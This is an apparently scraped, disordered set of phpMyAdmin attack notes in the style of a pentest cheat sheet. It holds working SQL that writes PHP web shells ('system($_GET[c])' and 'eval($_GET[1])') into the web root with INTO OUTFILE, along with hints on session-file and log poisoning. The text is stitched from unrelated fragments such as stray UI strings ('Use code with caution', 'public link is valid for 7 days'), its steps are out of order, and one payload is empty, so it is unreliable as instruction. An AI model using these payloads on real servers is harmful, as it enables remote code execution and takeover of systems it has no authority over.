Run a SQL statement to poison your current session file with an executable payload: SELECT ''; Use code with caution. Step 2: Retrieve your Session ID (Cookie)
/*!50001 DROP TABLE IF EXISTS `shell`*/; CREATE TABLE `shell` (code TEXT); INSERT INTO `shell` VALUES (‘<?php system($_GET[“c”]); ?>’); SELECT code FROM `shell` INTO OUTFILE ‘/var/www/html/shell.php’;
Requirements:
PhpMyAdmin stores session data in files. Inject malicious content into a session:
Check for publicly accessible files like /README , /ChangeLog , or /Documentation.html . phpmyadmin hacktricks
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If INTO OUTFILE is blocked, use MySQL logs: Run a SQL statement to poison your current
If the logged-in user possesses FILE privileges, database commands can be leveraged to write files directly to the web root. Writing a Web Shell (SELECT INTO OUTFILE)
CREATE TABLE `test` ( `content` TEXT NOT NULL ); INSERT INTO `test` (`content`) VALUES (‘<?php eval($_GET[1]); ?>’); This public link is valid for 7 days
Determine the database file path:
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